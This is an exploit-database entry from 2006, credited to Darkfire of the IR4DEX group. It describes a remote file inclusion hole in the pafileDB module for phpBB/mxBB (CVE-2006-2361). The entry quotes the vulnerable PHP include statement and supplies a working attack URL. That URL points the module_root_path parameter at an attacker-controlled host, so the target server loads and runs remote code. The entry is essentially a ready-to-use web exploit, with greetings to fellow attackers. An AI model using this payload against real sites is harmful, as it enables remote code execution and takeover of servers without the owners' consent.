EXPLOITS

pafileDB 2.0.1 - 'mxBB'/'phpBB' Remote File Inclusion

Author: Darkfire
type: webapps
platform: php
port: 
date_added: 2006-05-08  
date_updated:   
verified: 1  
codes: OSVDB-25507;CVE-2006-2361  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 1774.txt  

# PafileDB Remote File Inclusion[phpBB]
#
# Contact : irc.gigachat.net #ir4dex & darkfire@f4kelive.zzn.com
# Risk : High
# Class : Remote
# Script : pafileDB
# Version : not specified

---------------------------------------------------------------------

Vulnerable code :

$link_language = 'lang_english';
    include( $module_root_path . 'language/' . $link_language . '/lang_pafiledb.' . $phpEx );
---------------------------------------------------------------------

http://www.site.com/[phpBBpath]/[pafiledbpath]/includes/pafiledb_constants.php?module_root_path=http://[attacker]

by Darkfire and IR4DEX GROUP
Greetz: Smurf_RedHat :: V0lks

# milw0rm.com [2006-05-09]